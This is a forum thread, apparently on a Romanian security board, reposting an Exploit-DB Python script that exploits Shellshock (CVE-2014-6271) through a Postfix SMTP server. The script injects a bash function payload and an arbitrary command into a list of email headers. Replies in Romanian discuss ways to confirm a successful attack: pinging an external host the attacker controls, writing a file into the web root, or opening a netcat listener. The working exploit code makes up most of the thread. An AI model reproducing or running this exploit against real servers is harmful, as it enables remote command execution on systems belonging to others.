Jump to content
Nytro

Postfix SMTP - Shellshock Exploit

Recommended Posts

[h=1]Postfix SMTP - Shellshock Exploit[/h]

#!/bin/python

# Exploit Title: Shellshock SMTP Exploit

# Date: 10/3/2014

# Exploit Author: fattymcwopr

# Vendor Homepage: gnu.org

# Software Link: http://ftp.gnu.org/gnu/bash/

# Version: 4.2.x < 4.2.48

# Tested on: Debian 7 (postfix smtp server w/procmail)

# CVE : 2014-6271

from socket import *

import sys

def usage():

print "shellshock_smtp.py <target> <command>"

argc = len(sys.argv)

if(argc < 3 or argc > 3):

usage()

sys.exit(0)

rport = 25

rhost = sys.argv[1]

cmd = sys.argv[2]

headers = ([

"To",

"References",

"Cc",

"Bcc",

"From",

"Subject",

"Date",

"Message-ID",

"Comments",

"Keywords",

"Resent-Date",

"Resent-From",

"Resent-Sender"

])

s = socket(AF_INET, SOCK_STREAM)

s.connect((rhost, rport))

# banner grab

s.recv(2048*4)

def netFormat(d):

d += "\n"

return d.encode('hex').decode('hex')

data = netFormat("mail from:<>")

s.send(data)

s.recv(2048*4)

data = netFormat("rcpt to:<nobody>")

s.send(data)

s.recv(2048*4)

data = netFormat("data")

s.send(data)

s.recv(2048*4)

data = ''

for h in headers:

data += netFormat(h + ":() { :; };" + cmd)

data += netFormat(cmd)

# <CR><LF>.<CR><LF>

data += "0d0a2e0d0a".decode('hex')

s.send(data)

s.recv(2048*4)

data = netFormat("quit")

s.send(data)

s.recv(2048*4)

Sursa: http://www.exploit-db.com/exploits/34896/

Link to comment
Share on other sites

Ar trebui sa mearga si fara, pe SMTP, fara ESMTP (Extended SMTP).

Nu am citit RFC-ul, dar serverele "compatibile" ar trebui sa accepte si lipsa unui HELO (din SMTP) deoarece nu pare sa fie obligatoriu.

Edit: Pare obligatoriu:

"In any event, a

client MUST issue HELO or EHLO before starting a mail transaction."

Sursa: RFC SMTP

Edited by Nytro
Link to comment
Share on other sites

Ma intreb oare care ar fi cea mai putin solicitanta comanda. In POC-urile de pana acum am vazut ca lumea ping-uie un host extern pe care il detin(probabil cu tcpdump activ). Ulterior verifica pachetele in functie de IP(atacul s-a executat cu succes daca s-a receptionat vreun pachet). cmd ar putea fi si o comanda care sa nu depinda de un host extern; in cazul unui server web(cu apache instalat) am putea rula:


echo testtesttest > /var/www/nume_host/.test

dupa care verificam daca fisierul .test din webroot a fost creat. Am putea, de asemenea, sa punem netcat in ascultare pe un port TCP arbitrar:


nc -l 12131 -v

Daca ne putem conecta pe acel port atunci server-ul este vulnerabil.

Link to comment
Share on other sites

Ma intreb oare care ar fi cea mai putin solicitanta comanda. In POC-urile de pana acum am vazut ca lumea ping-uie un host extern pe care il detin(probabil cu tcpdump activ). Ulterior verifica pachetele in functie de IP(atacul s-a executat cu succes daca s-a receptionat vreun pachet). cmd ar putea fi si o comanda care sa nu depinda de un host extern; in cazul unui server web(cu apache instalat) am putea rula:


echo testtesttest > /var/www/nume_host/.test

dupa care verificam daca fisierul .test din webroot a fost creat. Am putea, de asemenea, sa punem netcat in ascultare pe un port TCP arbitrar:


nc -l 12131 -v

Daca ne putem conecta pe acel port atunci server-ul este vulnerabil.

Daca are webpage-ul in alt dir sau daca are altcineva drepturi pe directory, nu se poate scrie in fisier. Daca are iptables in picioare, nu se deschide port.

Rar se blocheaza ping din iptables, si de obicei se blocheaza incoming, nu outgoing, deci e cel mai sigur asa :)

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...